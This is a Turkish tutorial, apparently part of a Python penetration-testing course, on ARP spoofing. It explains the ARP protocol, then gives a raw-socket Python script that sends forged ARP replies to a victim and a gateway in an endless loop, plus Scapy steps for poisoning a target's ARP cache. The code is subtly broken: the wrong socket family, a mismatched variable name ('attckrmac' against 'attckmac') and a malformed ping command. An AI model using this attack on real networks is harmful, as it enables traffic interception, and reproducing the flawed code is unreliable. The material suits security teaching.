Python Penetrasyon Testi - ARP Sahtekarlığı

ARP, İnternet Protokolü (IP) adreslerini fiziksel makine adreslerine eşlemek için kullanılan durumsuz bir protokol olarak tanımlanabilir.

ARP'nin Çalışması

Bu bölümde ARP'nin işleyişi hakkında bilgi edineceğiz. ARP'nin nasıl çalıştığını anlamak için aşağıdaki adımları göz önünde bulundurun -

  • Step 1 - İlk olarak, bir makine bir başkasıyla iletişim kurmak istediğinde, fiziksel adres için ARP tablosuna bakmalıdır.

  • Step 2 - Makinenin fiziksel adresini bulursa, paket doğru uzunluğa dönüştürüldükten sonra istenilen makineye gönderilecektir.

  • Step 3 - Ancak tablodaki IP adresi için herhangi bir giriş bulunmazsa, ARP_request ağ üzerinden yayınlanacaktır.

  • Step 4- Artık ağdaki tüm makineler, yayınlanan IP adresini MAC adresiyle karşılaştıracak ve ağdaki makinelerden herhangi biri adresi tanımlıyorsa, ARP_request'e IP ve MAC adresiyle birlikte yanıt verecektir. Bu tür ARP mesajına ARP_reply adı verilir.

  • Step 5 - Sonunda, isteği gönderen makine adres çiftini ARP tablosunda saklayacak ve tüm iletişim gerçekleşecektir.

ARP Sahtekarlığı nedir?

Kötü niyetli bir aktörün yerel alan ağı üzerinden sahte bir ARP isteği gönderdiği bir saldırı türü olarak tanımlanabilir. ARP Zehirlenmesi aynı zamanda ARP Spoofing olarak da bilinir. Aşağıdaki noktaların yardımı ile anlaşılabilir -

  • İlk ARP sahtekarlığı, anahtarı aşırı yüklemek için çok sayıda sahte ARP isteği ve yanıt paketi oluşturur.

  • Ardından anahtar yönlendirme moduna ayarlanacaktır.

  • Artık ARP tablosu sahte ARP yanıtlarıyla dolup taşacak, böylece saldırganlar tüm ağ paketlerini koklayabilecektir.

Python kullanarak uygulama

Bu bölümde, ARP sahtekarlığının Python uygulamasını anlayacağız. Bunun için üç MAC adresine ihtiyacımız var - birincisi mağdur, ikincisi saldırgan ve üçüncüsü ağ geçidi. Bununla birlikte, ARP protokolünün kodunu da kullanmamız gerekiyor.

Gerekli modülleri aşağıdaki gibi içe aktaralım -

import socket
import struct
import binascii

Şimdi, üç parametresi olan bir soket oluşturacağız. İlk parametre bize paket arayüzünü (Linux'a özel PF_PACKET ve Windows için AF_INET) anlatır, ikinci parametre bize bunun ham bir soket olup olmadığını söyler ve üçüncü parametre bize ilgilendiğimiz protokolü anlatır (burada 0x0800 IP için kullanılır) protokol).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Şimdi saldırgan, kurban ve ağ geçidi makinesinin mac adresini sağlayacağız -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

ARP protokolünün kodunu gösterildiği gibi vermemiz gerekiyor -

code ='\x08\x06'

Biri kurban makine ve diğeri ağ geçidi makinesi için olmak üzere iki Ethernet paketi aşağıdaki şekilde oluşturulmuştur -

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

Aşağıdaki kod satırları ARP başlığına göre sıralanmıştır -

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Şimdi ağ geçidi makinesinin ve kurban makinelerin IP adreslerini vermemiz gerekiyor (Ağ geçidi ve kurban makineler için aşağıdaki IP adreslerine sahip olduğumuzu varsayalım) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Yukarıdaki IP adreslerini onaltılık biçime dönüştürün. socket.inet_aton() yöntem.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Ağ geçidi makinesinin IP adresini değiştirmek için aşağıdaki kod satırını yürütün.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Kali Linux'ta Scapy kullanarak uygulama

ARP sahtekarlığı, Kali Linux'ta Scapy kullanılarak uygulanabilir. Aynısını gerçekleştirmek için şu adımları izleyin -

Adım 1: Saldırgan makinenin adresi

Bu adımda saldırgan makinenin IP adresini komutunu çalıştırarak bulacağız. ifconfig Kali Linux'un komut isteminde.

Adım 2: Hedef makinenin adresi

Bu adımda komut çalıştırarak hedef makinenin IP adresini bulacağız. ifconfig Başka bir sanal makinede açmamız gereken Kali Linux komut isteminde.

3. Adım: Hedef makineyi pingleyin

Bu adımda, aşağıdaki komut yardımı ile hedef makineye saldırgan makineden ping atmamız gerekiyor -

Ping –c 192.168.43.85(say IP address of target machine)

Adım 4: Hedef makinede ARP önbelleği

İki makinenin MAC adreslerini değiştirmek için ARP paketlerini kullandığını zaten biliyoruz, bu nedenle 3. adımdan sonra, ARP önbelleğini görmek için hedef makinede aşağıdaki komutu çalıştırabiliriz -

arp -n

Adım 5: Scapy kullanarak ARP paketinin oluşturulması

Scapy yardımı ile aşağıdaki gibi ARP paketleri oluşturabiliriz -

scapy
arp_packt = ARP()
arp_packt.display()

Adım 6: Scapy kullanarak kötü amaçlı ARP paketinin gönderilmesi

Scapy yardımı ile kötü niyetli ARP paketlerini şu şekilde gönderebiliriz -

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

Şimdi hedef makinede ARP önbelleğini tekrar kontrol edersek, o zaman '1.1.1.1' sahte adresini göreceğiz.